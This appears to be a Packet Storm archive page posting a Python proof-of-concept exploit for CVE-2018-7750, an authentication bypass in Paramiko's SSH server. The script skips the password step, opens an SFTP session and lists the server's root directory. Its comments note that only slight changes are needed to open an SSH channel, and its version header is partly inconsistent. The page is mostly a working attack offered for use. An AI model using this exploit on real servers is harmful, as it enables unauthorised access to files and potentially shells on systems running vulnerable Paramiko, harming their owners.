Twenty Year Anniversary

Paramiko 2.4.1 Authentication Bypass

Paramiko 2.4.1 Authentication Bypass
Posted Oct 29, 2018
Authored by Adam Brown

Paramiko version 2.4.1 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2018-7750
MD5 | 48eaee254ee50d1d95a08eeff632065c

Paramiko 2.4.1 Authentication Bypass

Change Mirror Download
# Exploit Title: Paramiko 2.4.1 - Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple
# CVE : CVE-2018-7750

# This PoC is based on discussions found at the following github issue:
# https://github.com/paramiko/paramiko/issues/1175
# TLDR, Paramiko doesn't check if the client has completed the authentication step
# before allowing the client to open channels. The PoC below connects to an SFTP
# server, and lists the root directory without authenticating. Slight modification
# is required if you want to open an SSH channel.

#!/usr/bin/python
import paramiko

host = '127.0.0.1'
port = 22

trans = paramiko.Transport((host, port))
trans.start_client()

# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close